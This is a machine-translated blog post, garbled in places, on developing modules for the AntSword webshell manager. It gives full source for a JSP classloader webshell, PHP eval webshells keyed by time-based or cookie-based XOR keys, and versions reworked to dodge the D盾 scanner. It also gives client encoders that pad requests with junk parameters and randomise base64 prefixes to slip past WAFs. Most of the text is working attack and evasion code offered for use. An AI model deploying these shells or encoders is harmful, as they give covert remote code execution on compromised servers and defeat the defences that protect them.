当前位置:网站首页>Ant Sword Advanced Module Development
Ant Sword Advanced Module Development
2022-08-05 02:33:00 【wespten】
Ant sword for some experiences and skills of the secondary development of.
一、Ant Sword realizedJSP一句话
由于Java中没有所谓的eval函数,Unable to directly transfer the code parsing perform.So whether ant sword or chopper forJSP的shellhas always been adoptedcustom模式,The write to execute code in advance inshell中,Then only need to pass to call the function name and the corresponding parameters can be.
While it is possible to realize the corresponding function,但是带来一个问题就是shell体积非常巨大.kitchen knifejsp脚本有7kb大小,蚁剑的jsp customScript even after remove comments and17k之多,Very inconvenient to use.
jspThe realization of a way:利用classloaderDirect analytical compiledclass字节码,相当于实现了一个java的eval功能.
Your previous reflection using the class+Dynamic loading bytecode the way of a command to perform the back door,但是是在shellIn the input and output of.Number of parameters is not controlled,Only a head according to the largest digital in,There will be class reflection characteristics.
However, were the ice is direct rewriting theObject类的equals方法,并且把pageContext传了进去.熟悉jsp的同学都知道,通过pageContextYou can control almost all the page objects,也就可以在payloadDynamic control of input and output.
Were the ice method neither class reflection characteristics, such as,And convenient for control input/output,实在是妙.
But were the ice haven't updated,And had not open source,有些小BUG修改起来非常麻烦.Can I just wanted to give this function to transplant to the ant sword.
Ice scorpion operation is directly withasmFramework to modify written bytecode file in advance,Compile to the incoming parameters directly into it.Due to the ice scorpion is itselfjava写的,So dynamic produce bytecode has natural advantages.But ant the back-end of the sword isnodejs,这怎么办呢?
Choice of ideas
About the following three ideas:
(1)用nodejs来修改java字节码.
(2)Write a special used to generatepayload的jar包,Before each execution call thisjar包,The parameters of the need to compile from the command line to,Then get the echo.
(3)Hard coded in the ant swordpayload,然后通过getParameter把参数传进去.
三种方式各有利弊,First thought the most simple,但是难度大.Beyond the rookie tutorial to himselfjava跟node水平.
Is originally want to adopt the second his thoughts,跟yanMy cousin after communication to give up.Don't say useexecWill call produce command into this stuff,Using the second way need to modify the ant sword the original model framework,并且还需要配置java环境.The ant sword from the beginning of the design is to think try to reduce the demand for the environment.尽管从2.0After a series loader no longer requiresnodeEnvironment can run ant sword,But at present there are still a bunch of people have difficulty in even install ant sword.
So in this article to realize the third kind of thinking,硬编码payload+Other parameters involved.
First of all, according to the existingcustom脚本来编写payload,然后把customA copy of the template to,The transfer function of replacingpayload即可.
Using this model to othershell发送payload的模式相同,No need to ant sword overhaul of the original framework of.For other types of transfer is visible only code,jspPassing is compiled bytecode.
具体实现
The choice of the compilation environment
First is the problem of compilation environment.要知道java是向下兼容的,也就是说jdk1.6Compiled bytecode in1.8上可以运行,但是1.8的字节码在1.6Don't run up on.So when implemented using thejdk1.6编译,依赖的jarPackage also adopted with ice were the sametomcat7的jar.
编译命令
javac -cp "D:/xxxx/lib/servlet-api.jar;D:/xxx/lib/jsp-api.jar" Test.java
保存编译后的class字节码
base64 -w 0 Test.class > Test.txt
乱码问题的解决
Then let his head bald garbled question.
众所周知windows采用的是GBK,不是UTF-8.Wanted to learn ant swordcustomIn the script is how to realize,The results found a coding logic errors existed for four years.
在php版的customIs this kind of treatment for coding:
其中EC是识别charset的,That is to distinguishUTF8还是GBK,然后用mb_convert_encodingFunction converts to a specified.
decodeFunction is to decrypt the string,比如说base64、hex这种.
But shouldn't firstbase64After decoding to judgecharset吗,直接对base64的内容进行charsetJudgment is certainly have a problem.
Debug the certainly would stil,And then submitted to the couldn't find the path error.
Solution is to put the two functions for a change of position is good.
In the later can enter the normal path.因为在vscodeSet the variable toUTF8显示,So this time on the leftGBKThe path of the code shows the code,But the function can be normal recognition.
把jsp的customIn the script function changed location,Chinese files can be normal display,But into the Chinese path will still be submitted to the null pointer errors.
Suddenly think of himself as the premise of aissue jsp的bug,Is part of a path in the Chinese question,But no one, skip.
After debugging found that as long as thehex跟base64解码后,强制使用UTF8Code can enter the normal path.
The reason why?
因为base64对GBKTypes of Chinese and withUTF8Types of coding the result is not the same in Chinese,But caught found ant sword incustom模式下,Regardless of the user's choice of coding is what is rightUTF8Coding in Chinesebase64处理.
但是经过测试phpType of character types according to the user to be normalbase64编码.
emmmm,玄学问题.
The simplest solution is directly in thepayload中base64When decoding forceUTF-8解码.
模板设计
Shell模板
<%@ page import="sun.misc.BASE64Decoder" %>
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
%>
<%
String cls=request.getParameter("ant");
if(cls!=null){
new U(this.getClass().getClassLoader()).g(decoder.decodeBuffer(cls)).newInstance().equals(pageContext);
}
%>
Only after compress once316个字节,Because without the decryption function,So smaller than were the ice.
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>
Payload模板
其中encoder
为编码方式,默认为空,可选hex或者base64.charset
为字符编码,默认UTF-8.Ant sword will send automatically according to user selection.
注意:Especially it is not recommended to choose the default encoder,To meet Chinese path is wrong,我也不知道为什么.
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.jsp.PageContext;
import java.io.ByteArrayOutputStream;
public class Demo {
public String encoder;
public String cs;
@Override
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
ServletRequest request = page.getRequest();
ServletResponse response = page.getResponse();
encoder = request.getParameter("encoder")!=null?request.getParameter("encoder"):"";
cs=request.getParameter("charset")!=null?request.getParameter("charset"):"UTF-8";
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
String var0 = EC(decode(request.getParameter("var0")+""));
String var1 = EC(decode(request.getParameter("var1")+""));
String var2 = EC(decode(request.getParameter("var2")+""));
String var3 = EC(decode(request.getParameter("var3")+""));
output.append("->" + "|");
sb.append(func(var1));
output.append(sb.toString());
output.append("|" + "<-");
page.getOut().print(output.toString());
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
return true;
}
String EC(String s) throws Exception {
if(encoder.equals("hex")) return s;
return new String(s.getBytes(), cs);
}
String decode(String str) throws Exception{
if(encoder.equals("hex")){
if(str=="null"||str.equals("null")){
return "";
}
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
return baos.toString("UTF-8");
}else if(encoder.equals("base64")){
byte[] bt = null;
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
return new String(bt,"UTF-8");
}
return str;
}
String func (String var1){
// Your code
}
}
举个栗子,写一个返回hello+名字的函数
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.jsp.PageContext;
import java.io.ByteArrayOutputStream;
public class Test {
public String encoder;
public String cs;
@Override
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
ServletRequest request = page.getRequest();
ServletResponse response = page.getResponse();
encoder = request.getParameter("encoder")!=null?request.getParameter("encoder"):"";
cs=request.getParameter("charset")!=null?request.getParameter("charset"):"UTF-8";
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
String var0 = EC(decode(request.getParameter("var0")+""));
output.append("->" + "|");
sb.append(test(var0));
output.append(sb.toString());
output.append("|" + "<-");
page.getOut().print(output.toString());
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
return true;
}
String EC(String s) throws Exception {
if(encoder.equals("hex")) return s;
return new String(s.getBytes(), cs);
}
String decode(String str) throws Exception{
if(encoder.equals("hex")){
if(str=="null"||str.equals("null")){
return "";
}
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
return baos.toString("UTF-8");
}else if(encoder.equals("base64")){
byte[] bt = null;
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
return new String(bt,"UTF-8");
}
return str;
}
String test(String var0){
return "Hello" + var0;
}
}
将其编译成class文件,base64后输出到Test.txt中.
再发送payload,其中var0Are we to the incoming parameters.You can see on the screen print outHello yzddmr6.
The default is definitely pass,想要进行base64Encoded words will beencoder=base64
Add in the request can be.
If is send by hand should pay attention to:
一定要URL编码!!!
一定要URL编码!!!
一定要URL编码!!!
Forgot to give itPayload URL编码,Have been all kinds of fancy error,Stuck here for the day...最后在rebeyondBosses remind to react...我真是个弟弟
Ant swordsman door side modify
在\source\app.entry.js
\source\core\index.js
\source\modules\settings\encoders.js
里增加jsp类型:
在\source\modules\shellmanager\list\form.js
增加对jsp后缀shell类型的识别.
在base64The encoder interface to add send template in,虽然没有实现decoder,But let's leave a interface.
And then is to use the compiledpayloadReplace the original function name.
实现效果
One may ask why not write a echo information coding function?
Because in the current mode features too obvious,Don't need according to the echo information can identify.After wrote can also lead topayload很长,And also increases adecoder=xxx
的特征,所以就没加.同时传递的encoder=xxx
There is also no encoding,No matter how code isWAFAdd a rule.
At present are only at the stage of the can,Can't do the operations such as random variable name,There is a lot of hard.Before finding effective solution,This function may not be incorporated into the ant sword body.
因为payload实在是太多了,The source code for details, please refer to:JspForAntSword
The modified ant sword(2.1.x分支):
GitHub - yzddmr6/antSword at v2.1.x
二、Ant sword for dynamic secret key encoder decoder
蚁剑PHP的RSA和AES编码器,Found that are need to openopenssl
Extensions can be use.
But this module in most case, it is not open,So will lead to the strong encryption types of ants sword encoder、Decoder can't use.
Then draw lessons from the thinking of the ice were the,Achieved a dynamic secret key encoder decoder.
Ice scorpion solution
I remember the ice scorpion was there1.0Versions have the same problem,Module does not openshell就用不了,但是2.0就解决了这个问题.
So were the ice is how to solve.
看一下他的shell.php是怎么写的:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
Pay attention to this paragraph:
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else xxxxxx
如果没有openssl
扩展,那么就把$postWith the content of the random secret key$key异或一遍
Is to write their own encryption function.
Then of course the sword can also use this way to solve this problem.
How to generate random secret key
The practice of ice scorpion is first request twiceshell(Because when the second request will save the secret key tosession中)
如果请求中有pass=xxx
Returns a random secret key 16
Then the client to the server, respectively to write down the secret key,For back flow encryption to decrypt.
但是也带来一个问题,Shake hands get secret key process has become a lotWAFdetected features.
How to circumvent features
当然我们可以用PHPSESSID
as the secret key,蚁剑的AESThe encoder did the same.
But there was no automatically access because the mechanism of ant swordcookie这一个操作
So I need artificial browsing your website->获取cookie->Fill in the configuration file can be use,但是太过麻烦.
Then we can set a don't need to shake hands,And it's easy to get random secret key
So can think we can use the time
The choice of time format
Time also there are many kinds of format,选择哪一种呢?
Think if with seconds in time,It's easy to send a package in the past I have missed the same time,Unable to complete the encryption.
所以我们可以采用年-月-日 时-分
的时间格式,然后md5一次,As a random secret key for us.
思路与实现
蚁剑获取时间->生成随机秘钥->加密payload->发送给shell
shell获取时间->生成随机秘钥->解密payload->将回显data编码->返回给蚁剑
蚁剑获取时间->生成随机秘钥->解密返回data->获取信息
Because based on time to generate the secret key to pay attention to,So make sure your time zone is toshell的时区是一致的.
Because of my local ant sword is Beijing time,所以在shellAlso forced set to Beijing time.
A dynamic secret key encoder
Have to say a hole,同样一句console.log(new Date().toLocaleString());
在node中是24小时制:
In the browser with ant sword is12小时制:
Be pit for a long time didn't find,Simply to determine a24小时制的规范时间格式,Also convenient late custom modification:
Object.assign(Date.prototype, {
switch (time) {
let date = {
"yy": this.getFullYear(),
"MM": this.getMonth() + 1,
"dd": this.getDate(),
"hh": this.getHours(),
"mm": this.getMinutes(),
"ss": this.getSeconds()
};
if (/(y+)/i.test(time)) {
time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
}
Object.keys(date).forEach(function (i) {
if (new RegExp("(" + i + ")").test(time)) {
if (RegExp.$1.length == 2) {
date[i] < 10 ? date[i] = '0' + date[i] : date[i];
}
time = time.replace(RegExp.$1, date[i]);
}
})
return time;
}
})
let newDate = new Date();
let time = newDate.switch('yyyy-MM-dd hh:mm');
所以demo是这样的:
'use strict';
// code by yzddmr6
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
function xor(payload){
let crypto = require('crypto');
Object.assign(Date.prototype, {
switch (time) {
let date = {
"yy": this.getFullYear(),
"MM": this.getMonth() + 1,
"dd": this.getDate(),
"hh": this.getHours(),
"mm": this.getMinutes(),
"ss": this.getSeconds()
};
if (/(y+)/i.test(time)) {
time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
}
Object.keys(date).forEach(function (i) {
if (new RegExp("(" + i + ")").test(time)) {
if (RegExp.$1.length == 2) {
date[i] < 10 ? date[i] = '0' + date[i] : date[i];
}
time = time.replace(RegExp.$1, date[i]);
}
})
return time;
}
})
let newDate = new Date();
let time = newDate.switch('yyyy-MM-dd hh:mm');
let key = crypto.createHash('md5').update(time).digest('hex')
key=key.split("").map(t => t.charCodeAt(0));
//let payload="phpinfo();";
let cipher = payload.split("").map(t => t.charCodeAt(0));
for(let i=0;i<cipher.length;i++){
cipher[i]=cipher[i]^key[i%32]
}
cipher=cipher.map(t=>String.fromCharCode(t)).join("")
cipher=Buffer.from(cipher).toString('base64');
//console.log(cipher)
return cipher;
}
data['_'] = Buffer.from(data['_']).toString('base64');
data[pwd] = `eval(base64_decode("${data['_']}"));`;
data[pwd]=xor(data[pwd]);
delete data['_'];
return data;
}
Dynamic secret key decoder
'use strict';
//code by yzddmr6
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
date_default_timezone_set("PRC");
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($out);$i++){
$out[$i] = $out[$i] ^ $key[$i%32];
}
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
function xor(payload){
let crypto = require('crypto');
Object.assign(Date.prototype, {
switch (time) {
let date = {
"yy": this.getFullYear(),
"MM": this.getMonth() + 1,
"dd": this.getDate(),
"hh": this.getHours(),
"mm": this.getMinutes(),
"ss": this.getSeconds()
};
if (/(y+)/i.test(time)) {
time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
}
Object.keys(date).forEach(function (i) {
if (new RegExp("(" + i + ")").test(time)) {
if (RegExp.$1.length == 2) {
date[i] < 10 ? date[i] = '0' + date[i] : date[i];
}
time = time.replace(RegExp.$1, date[i]);
}
})
return time;
}
})
let newDate = new Date();
let time = newDate.switch('yyyy-MM-dd hh:mm');
let key = crypto.createHash('md5').update(time).digest('hex')
key = key.split("").map(t => t.charCodeAt(0));
let data = payload;
let cipher=Buffer.from(data.toString(), 'base64').toString();
cipher = cipher.split("").map(t => t.charCodeAt(0));
for (let i = 0; i < cipher.length; i++) {
cipher[i] = cipher[i] ^ key[i % 32]
}
cipher=cipher.map(t=>String.fromCharCode(t)).join("")
return cipher;
}
return xor(data);
}
}
But found that meet Chinese would stil,So just as a reference.
服务端
原型
<?php
date_default_timezone_set("PRC");
@$post=base64_decode($_REQUEST['yzddmr6']);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
eval($post);
?>
D盾4级,With a little bit about the let him free to kill.
<?php
date_default_timezone_set("PRC");
$key=md5(date("Y-m-d H:i",time()));
class TEST{
function encode($key){
@$post=base64_decode($_REQUEST['test']);
for($i=0;$i<strlen($post);$i++){$post[$i] = $post[$i] ^ $key[$i%32];}
return $post;}
function ant($data)
{return eval($this->encode("$data"));}
}
$test=new TEST;
$test->ant($key);
?>
测试
In the ant sword new encoder 解码器,Since then a name you like,Copy the code above just walk.
It is ok to configure to use:
You can also use dynamic secret key encoder with dynamic secret key decoder,Also can only use the encoder,Or dynamic encoder and decoder in combination with other.
要注意的是,Because some metaphysical question,当你使用了demoAfter the dynamic decoder met Chinese would stil.
个人建议 A dynamic secret key encoder+base64解码器 就差不多了.
注意
在demo中用的是年-月-日 时-分
的时间格式,May before long will be testing.
If be added after luxury lunch,You can freely modify date format,例如日-年-月 时-分
,或者 日期+盐
To achieve the result of confusion
Already leave a good date format in the encoder interface modification,Change the order can be.
Through the above operation has achieved without shaking hands we passed the secret key of encoder decoder,Here seems to be a problem.
But found that ants sword defaultpayload会把data[]In an array of other parameters justbase64一遍:
The flow is easy to detect,The ant's sword shortcomings.
在这篇文章里WAF拦了蚁剑发送的其它参数时怎么操作Ant sword author also gives the solution
But such changes only for an encoder,Not effective for all the encoder
The most stable way or modified ant sword hard-codedpayload,来满足自己的需求.
三、基于随机CookieAnt sword dynamic secret key encoder
In order to avoid shaking hands before the exchange of the secret key features,The use of our time to generate random secret key to.
But in the process of actual use will appear a variety ofBUG,导致利用失败,I personally not very satisfied.
Study the ant sword encoderext参数后,Decided to adopt the randomCookieThe way to generate the random secret key.
编码器的ext参数
First of all to build a new encoder,名字叫test吧.
加入一行console.log(ext.opts.httpConf);
And just connect ashell,打开开发者工具,You can see already print out the information we need.
包括shell请求的body跟headers头:
抓包看一下,headersThe result of the head and caught the result is consistent with the.
Then we can change from the encoderheaders头呢?
We add one line in the encoder:
ext.opts.httpConf.headers['User-Agent']='yzddMr6';
Can see we have successfully changed theshell中UA的值.
同理,We can also in the encoder to otherheader头或者body进行修改.
随机生成Cookie
Now that we have to changeshell的请求信息,We can put the secret key in a specifiedheaders字段里,shellCorrect after getting itpayload进行加解密.
But suddenly a strange field,After a long period of time will becomewaf识别的特征.
So what is the change,and very commonheaders头呢?
We can think of to useCookie.
Refer to Ant Swordaes编码器,Its method is adopted by the artificial visit firstshell生成一个sessionid,填入shellAfter configuration as the secret key of communication behind.
But, in fact, because we have been able to controlcookie字段,Every time we can in the encoder to generate a randomcookie,Thus eliminating the manual operation step.
There is a pit should pay attention to,php的session id一般是26位的,So we'd better also generates a26位的秘钥,Enhance camouflage.(Although may not have what use)
具体实现
编码器
'use strict';
//code by yzddmr6
module.exports = (pwd, data, ext = {}) => {
let randomID = `x${Math.random().toString(16).substr(2)}`;
function xor(payload) {
let crypto = require('crypto');
let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6);
ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key;
key = key.split("").map(t => t.charCodeAt(0));
//let payload="phpinfo();";
let cipher = payload.split("").map(t => t.charCodeAt(0));
for (let i = 0; i < cipher.length; i++) {
cipher[i] = cipher[i] ^ key[i % 26]
}
cipher = cipher.map(t => String.fromCharCode(t)).join("")
cipher = Buffer.from(cipher).toString('base64');
//console.log(cipher)
return cipher;
}
data['_'] = Buffer.from(data['_']).toString('base64');
data[pwd] = `eval(base64_decode("${data['_']}"));`;
data[pwd]=xor(data[pwd]);
delete data['_'];
return data;
}
Shell原型
<?php
@$post=base64_decode($_REQUEST['test']);
[email protected]$_COOKIE['PHPSESSID'];
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%26];
}
@eval($post);
?>
免杀处理
<?php
class Cookie
{
function __construct()
{
[email protected]$_COOKIE['PHPSESSID'];
@$post=base64_decode($_REQUEST['test']);
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%26];
}
return $post;
}
function __destruct()
{return @eval($this->__construct());}
}
$check=new Cookie();
?>
连接测试
Ant the other parameters of the sword is only a layer ofbase64,This requires you to manually change it.
四、Add junk data
Everyone know that garbage data filling can be used toSQL注入的绕过,原理就是WAFencountered in large numbersGET或者POSTParameters when the data directly to the direct thrown to the backend,Thus can bypass all sorts of nausea filter,People often take this method is called a buffer overflow.
原因可能是WAFManufacturers to consider to prevent their program for traffic analysis time is too long,A normal business users can't access,So had to direct after throw it to the end.Because I also haven't seenWAFThe internal rule is how to write,So for the time being to guess.
同样的,Now that are directly throwing the back-end data,So whether this method can be used in a sentence flow around,答案当然是可以的,Just a little change.因为实际测试过程中发现,仅仅在payloadWith super long string for a cloud in the no eggs with,Seems to have immune.但是换了个思路,Found to increase a lot of garbage after key/value pair canbypass,That'll call this method to increase garbage data bypass method.
编码器实现
This article would have been a few months ago to send in their own planet,名字叫做Ant traffic confusion sword coder
.When thinking about how convenient how to,So is the most simple、Changes to the smallest one way to achieve--编码器实现.
Here are all made of the random way to generate junk traffic,Random variable name length,A random variable value size,number of random variables.
let varname_min = 5; //The variable name minimum length
let varname_max = 15; // The variable name maximum length
let data_min = 200; // A variable's value minimum length
let data_max = 250; // A variable's value maximum length
let num_min = 150; // Minimum number of variables
let num_max = 250; // Maximum number of variables
function randomString(length) { // 生成随机字符串
//let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
function randomInt(min, max) { //生成指定范围内的随机数
return parseInt(Math.random() * (max - min + 1) + min, 10);
}
for (let i = 0; i < randomInt(num_min, num_max); i++) { //Will confuse flow into thepayload数组中
data[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max));
}
那么怎么用呢?
很简单,Simply put this code in ordinary encoder is ok,Here is based on the most various kinds ofWAFBeat mama don't recognizebase64编码器为例
'use strict';
/*
code by yzddMr6
*/
module.exports = (pwd, data, ext = {}) => {
let varname_min = 5;
let varname_max = 15;
let data_min = 200;
let data_max = 250;
let num_min = 100;
let num_max = 200;
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = Buffer.from(data['_']).toString('base64');
function randomString(length) {
//let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
function randomInt(min, max) {
return parseInt(Math.random() * (max - min + 1) + min, 10);
}
for (let i = 0; i < randomInt(num_min, num_max); i++) {
data[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max));
}
data[pwd] = `@eval(base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
}
Ant core function of the sword
In theory this method whetherasp php aspx jsp都可以用到,If according to the encoder to build four encoder,Feel or join the core functionality is better.
Look at the ant these days sword architecture,Marveled by the ingenious designers thinking.
First of all, we can see himmodules目录下的request模块的内容,可以看到两个if else 语句:
/**
* 监听HTTP请求
* @param {Object} event ipcMain事件对象
* @param {Object} opts 请求配置
* @return {[type]} [description]
*/
onRequest(event, opts) {
logger.debug('onRequest::opts', opts);
if (opts['url'].match(CONF.urlblacklist)) {
return event
.sender
.send('request-error-' + opts['hash'], "Blacklist URL");
}
let _request = superagent.post(opts['url']);
// 设置headers
_request.set('User-Agent', USER_AGENT);
// 自定义headers
for (let _ in opts.headers) {
_request.set(_, opts.headers[_]);
}
// 自定义body
const _postData = Object.assign({}, opts.body, opts.data);
if (opts['useChunk'] == 1) {
logger.debug("request with Chunked");
let _postarr = [];
for (var key in _postData) {
if (_postData.hasOwnProperty(key)) {
let _tmp = encodeURIComponent(_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
return unescape($1);
}); // Subsequent may need additional secondary processing in here
_postarr.push(`${key}=${_tmp}`);
}
}
let antstream = new AntRead(_postarr.join("&"), {
'step': parseInt(opts['chunkStepMin']),
'stepmax': parseInt(opts['chunkStepMax'])
});
xxxxxxx
} else {
// By replacing the function way to implement the contract way switch, Subsequent can change to other
const old_send = _request.send;
let _postarr = [];
if (opts['useMultipart'] == 1) {
_request.send = _request.field;
for (var key in _postData) {
if (_postData.hasOwnProperty(key)) {
let _tmp = (_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
return unescape($1)
});
_postarr[key] = _tmp;
}
}
} else {
_request.send = old_send;
for (var key in _postData) {
if (_postData.hasOwnProperty(key)) {
let _tmp = encodeURIComponent(_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
return unescape($1)
}); // Subsequent may need additional secondary processing in here
_postarr.push(`${key}=${_tmp}`);
}
}
_postarr = _postarr.join('&');
}
That if openedchunkAfter transmission don't pull not,If you look at whether to open theMultipart,Don't pull not if open it,Otherwise gurgling.
主要的payloadIn the form of a dictionary in the_postData
中,Then the dictionary keys with values with=
Put it after connecting_postarr
数组中,最后再把_postarr
数组用&
Connect is our final contractpayload了.
然后要到source/core/base.js
Add your configuration options,Note is that the ant ordinary sword request to download the contract are separated,So need to change two place,自己vscodeSearch and change it.
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: opt['data'],
tag_s: opt['tag_s'],
tag_e: opt['tag_e'],
encode: this.__opts__['encode'],
ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1,
useChunk: (this.__opts__['otherConf'] || {})['use-chunk'] === 1,
chunkStepMin: (this.__opts__['otherConf'] || {})['chunk-step-byte-min'] || 2,
chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,
useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,
addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,
useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1,
timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),
headers: (this.__opts__['httpConf'] || {})['headers'] || {},
body: (this.__opts__['httpConf'] || {})['body'] || {}
});
})
}
五、Other parameters of randomized
蚁剑一直有一个硬伤就是它对于其他参数的处理仅仅是一层base64.这就导致了不管怎么对主payload加密,WAF只要分析到其他的参数就能知道你在做什么.
例如你在执行cmd的时候,就一定会发送一个经过base64编码的cmd字符串,这就留下了一个被WAF识别的特征.
即使是蚁剑编码器仓库中的aes编码器也只是对主payload加了密,防护方在不需要解密主payload的情况下只要看到其他参数传的什么内容就能推测攻击者的行为.
WAF拦了蚁剑发送的其它参数时怎么操作The article presents a solution.主要思想就是在不修改主payload的情况下,配合客户端额外再把它加密解密一遍.
可以是可以,但是很麻烦,对于普通的shell不具有适用性.
这篇文章的目的就是解决掉这个历史遗留问题.
随机化方式的选择
想要从根本上解决问题就要修改核心payload,那么怎么改呢?
以前师傅们的文章提出过两个方法,一种是把其他参数base64两次,还有一种是在其他参数前面加两个随机字符,然后主payload中再把它给substr截掉,来打乱base64的解码.
如果方法是写死的话,无非只是WAF增加两条规则而已.蚁剑这么有名的项目,一定是防火墙商眼中紧盯的目标.最好的解决办法就是加入一个用户可控的参数,能够让用户自定义修改.这样才有可能最大程度的逃过WAF的流量查杀.
所以本文采用的方法就是在每个第三方参数前,加入用户自定义长度的随机字符串,来打乱base64的解码.
这时,如果WAF不能获得主payload中用户预定义的偏移量,也就无法对其他参数进行解密.此时我们的强加密型编码器才能真正起到作用.
具体实现
思路:
获取用户预定义前缀偏移量->修改核心payload模版->给其他参数前增加随机字符串.
前端的话首先写一个text框,来获取用户的输入:
在\source\core\base.js
中定义randomPrefix变量:
在\source\modules\settings\adefault.js
中设置默认值:
然后后端就可以通过opts.otherConf["random-Prefix"]
来获取用户定义的随机前缀的长度值.
修改模版前要简单了解一下蚁剑对于参数的处理流程.
在各类型shell的模版文件中,会定义默认的payload以及他们所需要的参数,还有对于参数的编码方式,source\core\php\template\filemanager.js.
在获取到模版之后,parseTemplate会对其中的参数进行提取、解析、组合,形成要发送的payloadsource\core\base.js.
所以我们要把用户预定义的前缀偏移量传入到两个地方:
(1)核心payload模版
(2)其他参数的组合模块
在核心payload中,我们将要修改的偏移量用#randomPrefix#
进行标记,到parseTemplate函数组合最终数据包的时候将其替换.
然后定义一个新类型的编码处理器newbase64
,在模板中修改对于参数的处理函数.
/**
* 增加随机前缀的base64编码
* @param {String} str 字符串
* @return {String} 编码后的字符串
*/
newbase64(str) {
let randomString=(length)=>{
let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
